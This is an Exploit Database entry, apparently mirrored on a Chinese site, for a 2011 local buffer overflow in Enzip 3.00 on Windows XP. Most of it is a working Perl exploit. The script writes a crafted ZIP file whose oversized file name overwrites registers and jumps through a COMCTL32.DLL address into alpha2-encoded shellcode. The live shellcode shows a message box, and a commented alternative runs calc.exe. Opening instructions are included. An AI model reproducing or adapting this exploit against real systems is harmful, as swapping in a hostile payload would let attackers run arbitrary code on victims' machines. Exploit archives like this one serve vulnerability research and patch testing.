Enzip 3.00 – Local Buffer Overflow

Exploit Database
111 阅读

作者： C4SS!0 G0M3S

日期： 2011-01-06
类别：
- local
平台：
- windows
来源：https://www.exploit-db.com/exploits/15919/

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#[+]Exploit Title: Exploit Buffer Overflow Enzip 3.00

#[+]Date: 01\06\2011

#[+]Author: C4SS!0 G0M3S

#[+]Software Link: http://www.bcuc.ac.uk/files/enzip300.exe

#[+]Version: 3.00

#[+]Tested on: WIN-XP SP3 PORTUGUESE BRAZILIAN

#[+]CVE: N/A

#Create BY C4SS!0 G0M3S

#Louredo_@hotmail.com

#Website http://www.invasao.com.br

#HOW TO:

#OPEN THE FILE WITH THE SPECIALLY DESIGNED ENZIP 3.00

#THEN CLICK BUTTON TO THE RIGHT ON TOP OF THE FILE NAME

#SELECT OPTION THEN OPEN THE PROGRAM SHOWS IN MY CASE Shellcode is a MessageBox ()

if($#ARGV!=0)

{

system("cls");

system("color 4f");

sub usage

{

print "\n\n".

" ||========================================||\n".

" ||||\n".

" ||Exploit Buffer Overflow Enzip 3.00||\n".

" ||Created BY C4SS!0 G0M3S ||\n".

" ||Louredo_\@hotmail.com||\n".

" ||||\n".

" ||========================================||\n\n\n";

print "[+]Exploit: Exploit Buffer Overflow Enzip 3.00\n";

print "[+]Date: 01\\06\\2011\n";

print "[+]Author: C4SS!0 G0M3S\n";

print "[+]Home: www.invasao.com.br\n";

print "[+]Version: 3.00\n";

print "[+]Tested On: WIN-XP SP3 Portuguese Brazilian\n";

print "[+]E-mail: Louredo_\@hotmail.com\n\n";

print "[+]Note:\n\nRead the comments above to Learn How to Exploit Works\n\n\n";

}

usage;

print "[-]Usage: $0 <File Name>\n";

print "[-]Exemple: $0 exploit.zip\n";

exit(0);

}

my $ldf_header = "\x50\x4B\x03\x04\x14\x00\x00".

"\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .

"\x00\x00\x00\x00\x00\x00\x00\x00" .

"\xe4\x0f" .

"\x00\x00\x00";

my $cdf_header = "\x50\x4B\x01\x02\x14\x00\x14".

"\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .

"\x00\x00\x00\x00\x00\x00\x00\x00\x00".

"\xe4\x0f".

"\x00\x00\x00\x00\x00\x00\x01\x00".

"\x24\x00\x00\x00\x00\x00\x00\x00";

my $eofcdf_header = "\x50\x4B\x05\x06\x00\x00\x00".

"\x00\x01\x00\x01\x00".

"\x12\x10\x00\x00".

"\x02\x10\x00\x00".

"\x00\x00";

usage;

print "[*]Preparing payload\n";

sleep(1);

my $payload = "\x41" x 1024;

$payload .= "BBBB"; #VALUE DE EAX

$payload .= "CCCC"; #VALUE DE EDX

$payload .= "DDDD"; #VALUE DE ECX

$payload .= "\x42" x 1022;

$payload .= pack('V',0x5D54296F); # CALL EAX COMCTL32.DLL

$payload .= "\x43" x 40;

print "[*]Identifying the length Shellcode\n";

sleep(1);

#SHELLCODE ENCODER USING ALPHA 2 BASEADDRESS EAX

#PROMPT:

#C:\alpha> alpha2 --uppercase eax < File_name.txt

$shellcode =

"PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJI6SYP03O903XRWC9KPPRHR".

"LBL10Q03XWCP26N2DU8453CRE3BV4F8OKCKUMK0CL0PKO8SZ0P38R0R89QN3W6PZOK1O1TQTQB14Q0QS".

"X51E73UW22HPMCUSCT3PT0ZV2PPNYP0NNMPSLKON1VSYYVSN26SYKF1RHPSWP10WPSXQWP00MFSSXV3W".

"Q6PWPBHQ00CWDV3SXU4Q0W2RYRHRO3YD43UE8QU2XD0RLV4V9PSRHGQP0WPQ0CX73P4630SPT1KBJQP1".

"C0QPRKOHPVSYPPPONJZXJK1SLKON6A";

#OR THIS SHELLCODE WinExec("CALC.EXE",0)

#PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIYKIPVQXIOO3L5FBPXLN9D

#46DJTNQ5N0XVQD84XK3M8KL33RXE8L4MUP02XOLSUO92XOFVCKEL3X4NNSM5RNJGJP2ELOOSRJM5M64X

#USVQ9WQKWLVSPJUT1XJDFWEZUB4O7SLKKUKUURKZP179M1XKMWRP8EKI2M8YSZW7KCJ8OPL0O7SHSPSY

#41GL7XXWKLCLNK35O0WQCSTPQY1VSXML5O6L5IQCNMHJUNJL1UUOX7VMIWMWK9PXYKN0QE1OFTNVOMUT

#YK7OGT8FOPYLP3K8W5UCOM83KYZA

print "[*]The length is Shellcode:".length($shellcode)."\n";

sleep(1);

$payload .= $shellcode;

$payload .= "\x46" x (1568 - length($shellcode));

$payload .= "\x52\x58\x66\x05\xB2\x0B\x40\x40".

"\x40" x 10;

$payload .= "\x50\x98\xd1";

$payload .= "\x4a" x (4064 - length($payload));

$file = $ARGV[0];

$payload = $payload.".txt";

my $zip = $ldf_header.$payload.

$cdf_header.$payload.

$eofcdf_header;

print "[*]Creating the File $file\n";

open(f,">$file") or die("ERROR\n$!\n");

print f $zip;

close(f);

print "[*]The File $file was Successfully Created\n";

sleep(1);

exit(0);